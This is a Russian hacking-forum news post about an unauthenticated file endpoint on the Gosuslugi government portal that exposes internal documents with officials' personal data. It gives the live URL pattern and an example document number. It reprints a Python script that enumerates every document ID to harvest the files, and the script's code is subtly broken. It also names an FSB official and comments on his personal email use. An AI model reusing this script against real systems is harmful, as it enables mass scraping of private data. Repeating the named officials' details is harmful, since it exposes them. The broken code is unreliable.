Дыра на портале «Госуслуги»: документы пользователей лежат в открытом доступе

Тема в разделе "Hack.News", создана пользователем admin, 9 июн 2019.

  1. admin
    admin Команда форума Админ
    Симпатии:
    23
    Специалист по безопасности Александр Литреев рассказал об уязвимости на портале «Госуслуги».

    Оказалось, что внутренние документы чиновников с их персональной информацией открыты для свободного доступа. «Абсолютно _ВСЯ_ база рабочих документов, касающихся интеграции лежит в открытом доступе, — пишет Литреев. — Она никак не зашифрована, не имеет никакой авторизации/аутентификации и, в принципе, скачать её может абсолютно кто угодно».

    Посмотреть любой документ в базе можно по прямой ссылке такого вида:

    http://smev.gosuslugi.ru/portal/api/files/get/XXXXX
    где XXXXX — порядковый номер документа в системе.
    /files/get/10484 скачивается таблица Excel под названием МВ ответственные.xlsx, в которой содержится информация обо всех лицах, ответственных за интеграцию. В списке указаны ФИО, должность, служебные и личные мобильные телефоны, адрес электронной почты для связи по вопросам интеграции.

    ahabrastorage.org_webt_dh_nx_of_dhnxoflh9euz9sw7jpdsii7cgq0.png

    Александр Литреев напоминает, что на разработку портала «Госуслуги» было потрачено более 495 миллионов рублей. Ресурс позиционируется как централизованный сервис взаимодействия с различными государственными службами и органами — с помощью него можно оформить паспорт/загранпаспорт, водительское удостоверение, получить справку об отсутствии судимости и многое другое. По данным Минкомсвязи, по состоянию на апрель 2019 года на портале были зарегистрированы 86,5 млн россиян.

    К системе подключены практически все ведомства страны, в том числе ФСБ, министерство обороны, МВД и другие.

    Для интеграции данных из разных источников на портале организована Система Межведомственного Электронного Взаимодействия (СМЭВ), через которую подключаются все региональные и федеральные органы. Именно эта часть портала не защищена. Прямо сейчас документы с портала http://smev.gosuslugi.ru/ находятся в открытом доступе.

    «Естественно, не составляет никакого труда написать скрипт, который обеспечит перебор всех таких адресов и выгрузит все такие документы, что уже успели сделать энтузиасты из одного соседнего государства», — пишет Литреев.

    Хакерская группа THack3forU выложила на Github питоновский скрипт для поиска валидных URL с документами.

    В общем-то, скрипт довольно простой:
    Код:
    import urllib.request
    from urllib.error import URLError, HTTPError
    a=1
    s=[]
    code=0
    b=range(1, 999999)
    for a in b:
       if a <= 9:
         s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/00000",a.__str__())))
       elif a <= 99:
         s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/0000",a.__str__())))
       elif a <= 999:
         s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/000",a.__str__())))
       elif a <= 9999:
         s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/00",a.__str__())))
       elif a <= 99999:
         s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/0",a.__str__())))
       elif a <= 999999:
         s.append("".join(("http://smev.gosuslugi.ru/portal/api/files/get/",a.__str__())))
    for i in range(len(s)):
       try:
         sitecode=urllib.request.urlopen(s).getcode()
         if sitecode == 200:
            print(s,"Nice Url!")
            f = open('good.txt', 'a')
            f.write(s + '\n')
            f.close()
       except urllib.error.HTTPError as e:
         if e.code == 500:
            print(s,"Invalid Url!")
         else:
            print(s,"Error:",e.code)
    


    Файлы доступны и в поиске Google.

    Александр Литреев просмотрел некоторые документы в базе и нашёл несколько любопытных деталей. Например, руководитель подразделения межведомственного взаимодействия ФСБ Мелин Александр Васильевич использует личную почту на Mail.ru.
     
    9 июн 2019
Загрузка...